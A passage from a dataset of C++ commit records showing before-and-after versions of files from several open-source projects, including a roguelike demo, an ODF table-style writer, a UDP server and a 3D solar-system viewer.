window title.\n\t\/\/ The final parameter says that we'd like the default console to use an 8x16 VGA font. Not so great for games, but easy to read!\n\tinit(config_simple(\"..\/assets\", 80, 50, \"RLTK Hello World\", \"8x8\"));\n\t\n\t\/\/ Zero the map other than the edges\n\tmap_tiles.resize(map_size);\n\tvisible.resize(map_size);\n\trevealed.resize(map_size);\n\tstd::fill(map_tiles.begin(), map_tiles.end(), 0);\n\tstd::fill(visible.begin(), visible.end(), false);\n\tstd::fill(revealed.begin(), revealed.end(), false);\n\tfor (int i=0; i<map_width; ++i) {\n\t\tmap_tiles[map_idx(i, 0)] = 1;\n\t\tmap_tiles[map_idx(i, map_height-1)] = 1;\n\t}\n\tfor (int i=0; i<map_width; ++i) {\n\t\tmap_tiles[map_idx(0, i)] = 1;\n\t\tmap_tiles[map_idx(map_width-1, i)] = 1;\n\t}\n\t\/\/ Random debris\n\tfor (int y=1; y<map_height-1; ++y) {\n\t\tfor (int x=1; x<map_width-1; ++x) {\n\t\t\tif (rng.roll_dice(1,4)==1 && (x!=map_width\/2 || y!=map_height\/2)) map_tiles[map_idx(x,y)]=1;\n\t\t}\n\t}\n\n\t\/\/ Create our systems\n\tadd_system(std::make_unique<player_system>());\n\tadd_system(std::make_unique<visibility_system>());\n\tadd_system(std::make_unique<camera_system>());\n\tadd_system(std::make_unique<actor_render_system>());\n\n\t\/\/ Enter the main loop. \"tick\" is the function we wrote above.\n\tecs_configure();\n\trun(tick);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef QRW_SID_HPP\n#define QRW_SID_HPP\n\n#include <functional>\n#include <iostream>\n\nnamespace qrw\n{\n\nclass SID\n{\npublic:\n    SID(const std::string& identifier)\n        : m_stringId(identifier),\n          m_hashId(std::hash<std::string>{}(identifier))\n    {\n    }\n\n\tSID(const SID& rhs)\n\t\t: m_stringId(rhs.m_stringId),\n\t\t  m_hashId(rhs.m_hashId)\n\t{\n\t}\n\n    bool operator==(const SID& rhs) const\n    {\n        return m_hashId == rhs.m_hashId;\n    }\n\n\tbool operator<(const SID& rhs) const\n\t{\n\t\treturn m_hashId < rhs.m_hashId;\n\t}\n\n\tconst std::string& getStringId()\n\t{\n\t\treturn m_stringId;\n\t}\n\n\tfriend std::ostream& operator<<(std::ostream& os, const SID& sid)\n\t{\n\t\tos << sid.m_stringId;\n\t\treturn os;\n\t}\n\nprivate:\n    const std::string m_stringId;\n    const std::size_t m_hashId;\n};\n\n} \/\/ namespace qrw\n\n#endif \/\/ QRW_SID_HPP\n<commit_msg>Make Sid::getStringId() const<commit_after>#ifndef QRW_SID_HPP\n#define QRW_SID_HPP\n\n#include <functional>\n#include <iostream>\n\nnamespace qrw\n{\n\nclass SID\n{\npublic:\n    SID(const std::string& identifier)\n        : m_stringId(identifier),\n          m_hashId(std::hash<std::string>{}(identifier))\n    {\n    }\n\n\tSID(const SID& rhs)\n\t\t: m_stringId(rhs.m_stringId),\n\t\t  m_hashId(rhs.m_hashId)\n\t{\n\t}\n\n    bool operator==(const SID& rhs) const\n    {\n        return m_hashId == rhs.m_hashId;\n    }\n\n\tbool operator<(const SID& rhs) const\n\t{\n\t\treturn m_hashId < rhs.m_hashId;\n\t}\n\n\tconst std::string& getStringId() const\n\t{\n\t\treturn m_stringId;\n\t}\n\n\tfriend std::ostream& operator<<(std::ostream& os, const SID& sid)\n\t{\n\t\tos << sid.m_stringId;\n\t\treturn os;\n\t}\n\nprivate:\n    const std::string m_stringId;\n    const std::size_t m_hashId;\n};\n\n} \/\/ namespace qrw\n\n#endif \/\/ QRW_SID_HPP\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>remove some unused headers from svgfilter.hxx<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- *\/\n\/* libodfgen\n * Version: MPL 2.0 \/ LGPLv2.1+\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Major Contributor(s):\n * Copyright (C) 2002-2004 William Lachance (wrlach@gmail.com)\n * Copyright (C) 2004 Fridrich Strba (fridrich.strba@bluewin.ch)\n *\n * For minor contributions see the git repository.\n *\n * Alternatively, the contents of this file may be used under the terms\n * of the GNU Lesser General Public License Version 2.1 or later\n * (LGPLv2.1+), in which case the provisions of the LGPLv2.1+ are\n * applicable instead of those above.\n *\n * For further information visit http:\/\/libwpd.sourceforge.net\n *\/\n\n\/* \"This product is not manufactured, approved, or supported by\n * Corel Corporation or Corel Corporation Limited.\"\n *\/\n\n#include <math.h>\n#include \"FilterInternal.hxx\"\n#include \"TableStyle.hxx\"\n#include \"DocumentElement.hxx\"\n\n#ifdef _MSC_VER\n#include <minmax.h>\n#endif\n\n#include <string.h>\n\nTableCellStyle::TableCellStyle(const WPXPropertyList &xPropList, const char *psName) :\n\tStyle(psName),\n\tmPropList(xPropList)\n{\n}\n\nvoid TableCellStyle::write(OdfDocumentHandler *pHandler) const\n{\n\tTagOpenElement styleOpen(\"style:style\");\n\tstyleOpen.addAttribute(\"style:name\", getName());\n\tstyleOpen.addAttribute(\"style:family\", \"table-cell\");\n\tstyleOpen.write(pHandler);\n\n\t\/\/ WLACH_REFACTORING: Only temporary.. a much better solution is to\n\t\/\/ generalize this sort of thing into the \"Style\" superclass\n\tWPXPropertyList stylePropList;\n\tWPXPropertyList::Iter i(mPropList);\n\t\/* first set padding, so that mPropList can redefine, if\n\t   mPropList[\"fo:padding\"] is defined *\/\n\tstylePropList.insert(\"fo:padding\", \"0.0382in\");\n\tfor (i.rewind(); i.next();)\n\t{\n\t\tif (strlen(i.key()) > 2 && strncmp(i.key(), \"fo\", 2) == 0)\n\t\t\tstylePropList.insert(i.key(), i()->clone());\n\t\telse if (strcmp(i.key(), \"style:vertical-align\")==0)\n\t\t\tstylePropList.insert(i.key(), i()->clone());\n\t}\n\tpHandler->startElement(\"style:table-cell-properties\", stylePropList);\n\tpHandler->endElement(\"style:table-cell-properties\");\n\n\tpHandler->endElement(\"style:style\");\n}\n\nTableRowStyle::TableRowStyle(const WPXPropertyList &propList, const char *psName) :\n\tStyle(psName),\n\tmPropList(propList)\n{\n}\n\nvoid TableRowStyle::write(OdfDocumentHandler *pHandler) const\n{\n\tTagOpenElement styleOpen(\"style:style\");\n\tstyleOpen.addAttribute(\"style:name\", getName());\n\tstyleOpen.addAttribute(\"style:family\", \"table-row\");\n\tstyleOpen.write(pHandler);\n\n\tTagOpenElement stylePropertiesOpen(\"style:table-row-properties\");\n\tif (mPropList[\"style:min-row-height\"])\n\t\tstylePropertiesOpen.addAttribute(\"style:min-row-height\", mPropList[\"style:min-row-height\"]->getStr());\n\telse if (mPropList[\"style:row-height\"])\n\t\tstylePropertiesOpen.addAttribute(\"style:row-height\", mPropList[\"style:row-height\"]->getStr());\n\tstylePropertiesOpen.addAttribute(\"fo:keep-together\", \"auto\");\n\tstylePropertiesOpen.write(pHandler);\n\tpHandler->endElement(\"style:table-row-properties\");\n\n\tpHandler->endElement(\"style:style\");\n}\n\n\nTableStyle::TableStyle(const WPXPropertyList &xPropList, const WPXPropertyListVector &columns, const char *psName) :\n\tStyle(psName),\n\tmPropList(xPropList),\n\tmColumns(columns),\n\tmTableCellStyles(),\n\tmTableRowStyles()\n{\n}\n\nTableStyle::~TableStyle()\n{\n\ttypedef std::vector<TableCellStyle *>::iterator TCSVIter;\n\ttypedef std::vector<TableRowStyle *>::iterator TRSVIter;\n\tfor (TCSVIter iterTableCellStyles = mTableCellStyles.begin() ; iterTableCellStyles != mTableCellStyles.end(); ++iterTableCellStyles)\n\t\tdelete(*iterTableCellStyles);\n\tfor (TRSVIter iterTableRowStyles = mTableRowStyles.begin() ; iterTableRowStyles != mTableRowStyles.end(); ++iterTableRowStyles)\n\t\tdelete(*iterTableRowStyles);\n}\n\nvoid TableStyle::write(OdfDocumentHandler *pHandler) const\n{\n\tTagOpenElement styleOpen(\"style:style\");\n\tstyleOpen.addAttribute(\"style:name\", getName());\n\tstyleOpen.addAttribute(\"style:family\", \"table\");\n\tif (getMasterPageName())\n\t\tstyleOpen.addAttribute(\"style:master-page-name\", getMasterPageName()->cstr());\n\tstyleOpen.write(pHandler);\n\n\tTagOpenElement stylePropertiesOpen(\"style:table-properties\");\n\tif (mPropList[\"table:align\"])\n\t\tstylePropertiesOpen.addAttribute(\"table:align\", mPropList[\"table:align\"]->getStr());\n\tif (mPropList[\"fo:margin-left\"])\n\t\tstylePropertiesOpen.addAttribute(\"fo:margin-left\", mPropList[\"fo:margin-left\"]->getStr());\n\tif (mPropList[\"fo:margin-right\"])\n\t\tstylePropertiesOpen.addAttribute(\"fo:margin-right\", mPropList[\"fo:margin-right\"]->getStr());\n\tif (mPropList[\"style:width\"])\n\t\tstylePropertiesOpen.addAttribute(\"style:width\", mPropList[\"style:width\"]->getStr());\n\tif (mPropList[\"fo:break-before\"])\n\t\tstylePropertiesOpen.addAttribute(\"fo:break-before\", mPropList[\"fo:break-before\"]->getStr());\n\tstylePropertiesOpen.write(pHandler);\n\n\tpHandler->endElement(\"style:table-properties\");\n\n\tpHandler->endElement(\"style:style\");\n\n\tint i=1;\n\tWPXPropertyListVector::Iter j(mColumns);\n\tfor (j.rewind(); j.next();)\n\t{\n\t\tTagOpenElement columnStyleOpen(\"style:style\");\n\t\tWPXString sColumnName;\n\t\tsColumnName.sprintf(\"%s.Column%i\", getName().cstr(), i);\n\t\tcolumnStyleOpen.addAttribute(\"style:name\", sColumnName);\n\t\tcolumnStyleOpen.addAttribute(\"style:family\", \"table-column\");\n\t\tcolumnStyleOpen.write(pHandler);\n\n\t\tpHandler->startElement(\"style:table-column-properties\", j());\n\t\tpHandler->endElement(\"style:table-column-properties\");\n\n\t\tpHandler->endElement(\"style:style\");\n\n\t\ti++;\n\t}\n\n\ttypedef std::vector<TableRowStyle *>::const_iterator TRSVIter;\n\tfor (TRSVIter iterTableRow = mTableRowStyles.begin() ; iterTableRow != mTableRowStyles.end(); ++iterTableRow)\n\t\t(*iterTableRow)->write(pHandler);\n\n\ttypedef std::vector<TableCellStyle *>::const_iterator TCSVIter;\n\tfor (TCSVIter iterTableCell = mTableCellStyles.begin() ; iterTableCell != mTableCellStyles.end(); ++iterTableCell)\n\t\t(*iterTableCell)->write(pHandler);\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 noexpandtab: *\/\n<commit_msg>Add more table properties: - table:border-model in table definition to allow collapsing borders between cells, - style:border-line-width* in cell definition to allow borders with different widths...<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- *\/\n\/* libodfgen\n * Version: MPL 2.0 \/ LGPLv2.1+\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Major Contributor(s):\n * Copyright (C) 2002-2004 William Lachance (wrlach@gmail.com)\n * Copyright (C) 2004 Fridrich Strba (fridrich.strba@bluewin.ch)\n *\n * For minor contributions see the git repository.\n *\n * Alternatively, the contents of this file may be used under the terms\n * of the GNU Lesser General Public License Version 2.1 or later\n * (LGPLv2.1+), in which case the provisions of the LGPLv2.1+ are\n * applicable instead of those above.\n *\n * For further information visit http:\/\/libwpd.sourceforge.net\n *\/\n\n\/* \"This product is not manufactured, approved, or supported by\n * Corel Corporation or Corel Corporation Limited.\"\n *\/\n\n#include <math.h>\n#include \"FilterInternal.hxx\"\n#include \"TableStyle.hxx\"\n#include \"DocumentElement.hxx\"\n\n#ifdef _MSC_VER\n#include <minmax.h>\n#endif\n\n#include <string.h>\n\nTableCellStyle::TableCellStyle(const WPXPropertyList &xPropList, const char *psName) :\n\tStyle(psName),\n\tmPropList(xPropList)\n{\n}\n\nvoid TableCellStyle::write(OdfDocumentHandler *pHandler) const\n{\n\tTagOpenElement styleOpen(\"style:style\");\n\tstyleOpen.addAttribute(\"style:name\", getName());\n\tstyleOpen.addAttribute(\"style:family\", \"table-cell\");\n\tstyleOpen.write(pHandler);\n\n\t\/\/ WLACH_REFACTORING: Only temporary.. a much better solution is to\n\t\/\/ generalize this sort of thing into the \"Style\" superclass\n\tWPXPropertyList stylePropList;\n\tWPXPropertyList::Iter i(mPropList);\n\t\/* first set padding, so that mPropList can redefine, if\n\t   mPropList[\"fo:padding\"] is defined *\/\n\tstylePropList.insert(\"fo:padding\", \"0.0382in\");\n\tfor (i.rewind(); i.next();)\n\t{\n\t\tif (strlen(i.key()) > 2 && strncmp(i.key(), \"fo\", 2) == 0)\n\t\t\tstylePropList.insert(i.key(), i()->clone());\n\t\telse if (strlen(i.key()) > 22  && strncmp(i.key(), \"style:border-line-width\", 23) == 0)\n\t\t{\n\t\t\tif (strcmp(i.key(), \"style:border-line-width\") == 0 ||\n\t\t\t        strcmp(i.key(), \"style:border-line-width-left\") == 0 ||\n\t\t\t        strcmp(i.key(), \"style:border-line-width-right\") == 0 ||\n\t\t\t        strcmp(i.key(), \"style:border-line-width-top\") == 0 ||\n\t\t\t        strcmp(i.key(), \"style:border-line-width-bottom\") == 0)\n\t\t\t\tstylePropList.insert(i.key(), i()->clone());\n\t\t}\n\t\telse if (strcmp(i.key(), \"style:vertical-align\")==0)\n\t\t\tstylePropList.insert(i.key(), i()->clone());\n\t}\n\tpHandler->startElement(\"style:table-cell-properties\", stylePropList);\n\tpHandler->endElement(\"style:table-cell-properties\");\n\n\tpHandler->endElement(\"style:style\");\n}\n\nTableRowStyle::TableRowStyle(const WPXPropertyList &propList, const char *psName) :\n\tStyle(psName),\n\tmPropList(propList)\n{\n}\n\nvoid TableRowStyle::write(OdfDocumentHandler *pHandler) const\n{\n\tTagOpenElement styleOpen(\"style:style\");\n\tstyleOpen.addAttribute(\"style:name\", getName());\n\tstyleOpen.addAttribute(\"style:family\", \"table-row\");\n\tstyleOpen.write(pHandler);\n\n\tTagOpenElement stylePropertiesOpen(\"style:table-row-properties\");\n\tif (mPropList[\"style:min-row-height\"])\n\t\tstylePropertiesOpen.addAttribute(\"style:min-row-height\", mPropList[\"style:min-row-height\"]->getStr());\n\telse if (mPropList[\"style:row-height\"])\n\t\tstylePropertiesOpen.addAttribute(\"style:row-height\", mPropList[\"style:row-height\"]->getStr());\n\tstylePropertiesOpen.addAttribute(\"fo:keep-together\", \"auto\");\n\tstylePropertiesOpen.write(pHandler);\n\tpHandler->endElement(\"style:table-row-properties\");\n\n\tpHandler->endElement(\"style:style\");\n}\n\n\nTableStyle::TableStyle(const WPXPropertyList &xPropList, const WPXPropertyListVector &columns, const char *psName) :\n\tStyle(psName),\n\tmPropList(xPropList),\n\tmColumns(columns),\n\tmTableCellStyles(),\n\tmTableRowStyles()\n{\n}\n\nTableStyle::~TableStyle()\n{\n\ttypedef std::vector<TableCellStyle *>::iterator TCSVIter;\n\ttypedef std::vector<TableRowStyle *>::iterator TRSVIter;\n\tfor (TCSVIter iterTableCellStyles = mTableCellStyles.begin() ; iterTableCellStyles != mTableCellStyles.end(); ++iterTableCellStyles)\n\t\tdelete(*iterTableCellStyles);\n\tfor (TRSVIter iterTableRowStyles = mTableRowStyles.begin() ; iterTableRowStyles != mTableRowStyles.end(); ++iterTableRowStyles)\n\t\tdelete(*iterTableRowStyles);\n}\n\nvoid TableStyle::write(OdfDocumentHandler *pHandler) const\n{\n\tTagOpenElement styleOpen(\"style:style\");\n\tstyleOpen.addAttribute(\"style:name\", getName());\n\tstyleOpen.addAttribute(\"style:family\", \"table\");\n\tif (getMasterPageName())\n\t\tstyleOpen.addAttribute(\"style:master-page-name\", getMasterPageName()->cstr());\n\tstyleOpen.write(pHandler);\n\n\tTagOpenElement stylePropertiesOpen(\"style:table-properties\");\n\tif (mPropList[\"table:align\"])\n\t\tstylePropertiesOpen.addAttribute(\"table:align\", mPropList[\"table:align\"]->getStr());\n\tif (mPropList[\"fo:margin-left\"])\n\t\tstylePropertiesOpen.addAttribute(\"fo:margin-left\", mPropList[\"fo:margin-left\"]->getStr());\n\tif (mPropList[\"fo:margin-right\"])\n\t\tstylePropertiesOpen.addAttribute(\"fo:margin-right\", mPropList[\"fo:margin-right\"]->getStr());\n\tif (mPropList[\"style:width\"])\n\t\tstylePropertiesOpen.addAttribute(\"style:width\", mPropList[\"style:width\"]->getStr());\n\tif (mPropList[\"fo:break-before\"])\n\t\tstylePropertiesOpen.addAttribute(\"fo:break-before\", mPropList[\"fo:break-before\"]->getStr());\n\tif (mPropList[\"table:border-model\"])\n\t\tstylePropertiesOpen.addAttribute(\"table:border-model\", mPropList[\"table:border-model\"]->getStr());\n\tstylePropertiesOpen.write(pHandler);\n\n\tpHandler->endElement(\"style:table-properties\");\n\n\tpHandler->endElement(\"style:style\");\n\n\tint i=1;\n\tWPXPropertyListVector::Iter j(mColumns);\n\tfor (j.rewind(); j.next();)\n\t{\n\t\tTagOpenElement columnStyleOpen(\"style:style\");\n\t\tWPXString sColumnName;\n\t\tsColumnName.sprintf(\"%s.Column%i\", getName().cstr(), i);\n\t\tcolumnStyleOpen.addAttribute(\"style:name\", sColumnName);\n\t\tcolumnStyleOpen.addAttribute(\"style:family\", \"table-column\");\n\t\tcolumnStyleOpen.write(pHandler);\n\n\t\tpHandler->startElement(\"style:table-column-properties\", j());\n\t\tpHandler->endElement(\"style:table-column-properties\");\n\n\t\tpHandler->endElement(\"style:style\");\n\n\t\ti++;\n\t}\n\n\ttypedef std::vector<TableRowStyle *>::const_iterator TRSVIter;\n\tfor (TRSVIter iterTableRow = mTableRowStyles.begin() ; iterTableRow != mTableRowStyles.end(); ++iterTableRow)\n\t\t(*iterTableRow)->write(pHandler);\n\n\ttypedef std::vector<TableCellStyle *>::const_iterator TCSVIter;\n\tfor (TCSVIter iterTableCell = mTableCellStyles.begin() ; iterTableCell != mTableCellStyles.end(); ++iterTableCell)\n\t\t(*iterTableCell)->write(pHandler);\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 noexpandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the \"FnordMetric\" project\n *   Copyright (c) 2014 Paul Asmuth, Google Inc.\n *\n * FnordMetric is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU General Public License v3.0. You should have received a\n * copy of the GNU General Public License along with this program. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <fnordmetric\/net\/udpserver.h>\n#include <fnordmetric\/util\/runtimeexception.h>\n#include <netinet\/in.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n\nusing fnord::util::Buffer;\n\nnamespace fnord {\nnamespace net {\n\nUDPServer::UDPServer() {}\n\nvoid UDPServer::onMessage(\n    std::function<void (const Buffer&)> callback) {\n  callback_ = callback; \/\/ FIXPAUL lock or doc\n}\n\nvoid UDPServer::listen(int port) {\n  ssock_ = socket(AF_INET, SOCK_DGRAM, 0);\n  if (ssock_ == 0) {\n    RAISE(kIOError, \"create socket() failed\");\n  }\n\n  struct sockaddr_in addr;\n  memset((char *) &addr, 0, sizeof(addr));\n  addr.sin_family = AF_INET;\n  addr.sin_addr.s_addr = htonl(INADDR_ANY);\n  addr.sin_port = htons(port);\n\n  if (bind(ssock_, (struct sockaddr *) &addr, sizeof(addr)) < 0) {\n    RAISE_ERRNO(kIOError, \"bind() failed\");\n  }\n\n  for (;;) {\n    char buf[65535];\n    struct sockaddr_in other_addr;\n    socklen_t other_addr_len = sizeof(other_addr);\n    auto buf_len = recvfrom(\n        ssock_,\n        buf,\n        sizeof(buf),\n        0,\n        (struct sockaddr *) &other_addr,\n        &other_addr_len);\n\n    if (buf_len < 0) {\n      \/\/ FIXPAUL log error\n      \/\/RAISE_ERRNO(kIOError, \"bind() failed\");\n      continue;\n    }\n\n    if (callback_) {\n      Buffer msg(buf, buf_len);\n      callback_(msg);\n    }\n  }\n}\n\n\n}\n}\n\n<commit_msg>add missing include<commit_after>\/**\n * This file is part of the \"FnordMetric\" project\n *   Copyright (c) 2014 Paul Asmuth, Google Inc.\n *\n * FnordMetric is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU General Public License v3.0. You should have received a\n * copy of the GNU General Public License along with this program. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <fnordmetric\/net\/udpserver.h>\n#include <fnordmetric\/util\/runtimeexception.h>\n#include <netinet\/in.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <string.h>\n\nusing fnord::util::Buffer;\n\nnamespace fnord {\nnamespace net {\n\nUDPServer::UDPServer() {}\n\nvoid UDPServer::onMessage(\n    std::function<void (const Buffer&)> callback) {\n  callback_ = callback; \/\/ FIXPAUL lock or doc\n}\n\nvoid UDPServer::listen(int port) {\n  ssock_ = socket(AF_INET, SOCK_DGRAM, 0);\n  if (ssock_ == 0) {\n    RAISE(kIOError, \"create socket() failed\");\n  }\n\n  struct sockaddr_in addr;\n  memset((char *) &addr, 0, sizeof(addr));\n  addr.sin_family = AF_INET;\n  addr.sin_addr.s_addr = htonl(INADDR_ANY);\n  addr.sin_port = htons(port);\n\n  if (bind(ssock_, (struct sockaddr *) &addr, sizeof(addr)) < 0) {\n    RAISE_ERRNO(kIOError, \"bind() failed\");\n  }\n\n  for (;;) {\n    char buf[65535];\n    struct sockaddr_in other_addr;\n    socklen_t other_addr_len = sizeof(other_addr);\n    auto buf_len = recvfrom(\n        ssock_,\n        buf,\n        sizeof(buf),\n        0,\n        (struct sockaddr *) &other_addr,\n        &other_addr_len);\n\n    if (buf_len < 0) {\n      \/\/ FIXPAUL log error\n      \/\/RAISE_ERRNO(kIOError, \"bind() failed\");\n      continue;\n    }\n\n    if (callback_) {\n      Buffer msg(buf, buf_len);\n      callback_(msg);\n    }\n  }\n}\n\n\n}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/***********************************\n Copyright 2018 Ravishankar Mathur\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n ***********************************\/\n\n#include <OpenFrames\/Model.hpp>\n#include <OpenFrames\/Sphere.hpp>\n#include <OpenFrames\/WindowProxy.hpp>\n\nusing namespace OpenFrames;\n\nint main()\n{\n  const double r_earth = 6.371;\n  const double r_moon = 1.737;\n  const double r_sun = 695.7;\n  const double d_sun = 149600;\n  \n  \/\/ Create the interface that represents a window\n  osg::ref_ptr<WindowProxy> myWindow = new WindowProxy(30, 30, 640, 480, 1, 1, false, false);\n  \n  \/\/ Create a ReferenceFrame for the root\n  ReferenceFrame* root = new ReferenceFrame(\"Root\");\n  root->showAxes(ReferenceFrame::NO_AXES);\n  root->showAxesLabels(ReferenceFrame::NO_AXES);\n  root->showNameLabel(false);\n  \n  \/\/ Create a Sphere for the Earth\n  Sphere* earth = new Sphere(\"Earth\");\n  earth->showAxes(ReferenceFrame::NO_AXES);\n  earth->showAxesLabels(ReferenceFrame::NO_AXES);\n  earth->showNameLabel(false);\n  earth->setTextureMap(\"Images\/land_shallow_topo_2048.jpg\");\n  earth->setNightTextureMap(\"Images\/land_ocean_ice_lights_2048.jpg\");\n  earth->setRadius(r_earth);\n  earth->setAutoLOD(true);\n  root->addChild(earth);\n  \n  \/\/ Set Earth material, which overrides any color set for the Sphere\n  \/\/ Use diffuse but no ambient reflections (so dark side can show night texture)\n  osg::Material* mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0.0, 0.0, 0.0, 1.0));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(1.0, 1.0, 1.0, 1.0));\n  mat->setSpecular(osg::Material::FRONT_AND_BACK, osg::Vec4(0.5, 0.5, 0.5, 1.0));\n  mat->setShininess(osg::Material::FRONT_AND_BACK, 100);\n  earth->setMaterial(mat);\n  \n  \/\/ Create a Sphere for the Moon\n  Sphere* moon = new Sphere(\"Moon\");\n  moon->showAxes(ReferenceFrame::NO_AXES);\n  moon->showAxesLabels(ReferenceFrame::NO_AXES);\n  moon->showNameLabel(false);\n  moon->setTextureMap(\"Images\/MoonTexture.bmp\");\n  moon->setRadius(r_moon);\n  moon->setPosition(10.0, -10.0, 0.0);\n  earth->addChild(moon);\n  \n  \/\/ Set Moon material\n  \/\/ Use diffuse but no ambient reflections (dark side of Moon will be black)\n  mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0.0, 0.0, 0.0, 1.0));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(1.0, 1.0, 1.0, 1.0));\n  moon->setMaterial(mat);\n  \n  \/\/ Create a Sphere for the Sun\n  Sphere* sun = new Sphere(\"Sun\");\n  sun->showAxes(ReferenceFrame::NO_AXES);\n  sun->showAxesLabels(ReferenceFrame::NO_AXES);\n  sun->showNameLabel(false);\n  sun->setTextureMap(\"Images\/SunTexture.jpg\");\n  sun->setRadius(r_sun);\n  sun->setPosition(-d_sun, 0.0, 0.0);\n  root->addChild(sun);\n  \n  \/\/ Set Sun material\n  \/\/ Sun has emission but no reflection\n  mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0, 0, 0, 1));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(0, 0, 0, 1));\n  mat->setSpecular(osg::Material::FRONT_AND_BACK, osg::Vec4(0, 0, 0, 1));\n  mat->setEmission(osg::Material::FRONT_AND_BACK, osg::Vec4(1, 1, 1, 1));\n  sun->setMaterial(mat);\n  \n  \/\/ Make the Sun a light source\n  \/\/ By default this will use GL_LIGHT0 which overrides the global light\n  \/\/ If using multiple lights, call light->setLightNum(num) with unique light numbers\n  sun->setLightSourceEnabled(true);\n  osg::Light* sunLight = sun->getLightSource()->getLight();\n  sunLight->setPosition(osg::Vec4(0.0, 0.0, 0.0, 1.0)); \/\/ At center of Sun\n  sunLight->setAmbient(osg::Vec4(0.4, 0.4, 0.4, 1.0));\n  sunLight->setDiffuse(osg::Vec4(2.0, 2.0, 2.0, 1.0)); \/\/ Bright sun!\n  sunLight->setSpecular(osg::Vec4(0.8, 0.8, 0.8, 1.0));\n  \n  \/\/ Create a Model for the Comet\n  Model* cg = new Model(\"67P_CG\");\n  cg->showAxes(ReferenceFrame::NO_AXES);\n  cg->showAxesLabels(ReferenceFrame::NO_AXES);\n  cg->showNameLabel(false);\n  cg->setModel(\"Models\/Comet67P_CG.3ds\");\n  cg->setPosition(100, 100, 100);\n  mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0.0, 0.0, 0.0, 1.0));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(0.25, 0.25, 0.25, 1.0));\n  mat->setSpecular(osg::Material::FRONT_AND_BACK, osg::Vec4(0.1, 0.1, 0.2, 1.0));\n  mat->setShininess(osg::Material::FRONT_AND_BACK, 100);\n  cg->getModel()->getOrCreateStateSet()->setAttributeAndModes(mat);\n  earth->addChild(cg);\n  \n  \/\/ Create a manager to handle access to the scene\n  FrameManager* fm = new FrameManager;\n  fm->setFrame(root);\n  \n  \/\/ Add the scene to the window\n  myWindow->setScene(fm, 0, 0);\n  \n  \/\/ Set up sky background using the Gaia DR2 galactic disk texture and HYGv3 star database\n  myWindow->getGridPosition(0, 0)->setBackgroundColor(0, 0, 0); \/\/ Black background\n  myWindow->getGridPosition(0, 0)->setSkySphereTexture(\"Images\/ESA_Gaia_DR2_2048.jpg\");\n  myWindow->getGridPosition(0, 0)->setSkySphereStarData(\"Stars\/Stars_HYGv3.txt\", -2.0, 6.0, 40000); \/\/ At most 40000 stars of magnitude range [-2.0, 6.0] from the HYGv3 database\n  \n  \/\/ The Gaia image is in Galactic coordinates, so transform it to J2000 Equatorial coordinates\n  \/\/ to match the HYGv3 coordinate system\n  \/\/ Matrix that transforms ICRS (J2000 Equatorial) to Galactic coordinates\n  \/\/ Source: https:\/\/gea.esac.esa.int\/archive\/documentation\/GDR1\/Data_processing\/chap_cu3ast\/sec_cu3ast_intro.html\n  osg::Matrixd eq_to_gal_mat(-0.0548755604162154, +0.4941094278755837, -0.8676661490190047, 0.0,\n                             -0.8734370902348850, -0.4448296299600112, -0.1980763734312015, 0.0,\n                             -0.4838350155487132, +0.7469822444972189, +0.4559837761750669, 0.0,\n                             0.0                , 0.0                , 0.0                , 1.0);\n  osg::Quat eq_to_gal = eq_to_gal_mat.getRotate();\n  \n  \/\/ Quaternion that transforms Galactic to J2000 Equatorial coordinates\n  osg::Quat gal_to_eq = eq_to_gal.inverse();\n\n  \/\/ Gaia image is offset by 180 degrees as compared to the OpenFrames::Sphere texture wrapping\n  \/\/ convention, so rotate it by 180 degrees before performing the Galatic->J2000 transformation\n  myWindow->getGridPosition(0, 0)->getSkySphere()->setSphereAttitude(osg::Quat(osg::PI, osg::Vec3d(0, 0, 1))*gal_to_eq);\n  \n  \/\/ Create views of the Earth and Moon\n  View *viewEarth = new View(root, earth);\n  View *viewMoon = new View(root, moon);\n  View *viewSun = new View(root, sun);\n  View *viewCG = new View(root, cg);\n  myWindow->getGridPosition(0, 0)->addView(viewEarth);\n  myWindow->getGridPosition(0, 0)->addView(viewMoon);\n  myWindow->getGridPosition(0, 0)->addView(viewSun);\n  myWindow->getGridPosition(0, 0)->addView(viewCG);\n  \n  myWindow->startThread(); \/\/ Start window animation\n  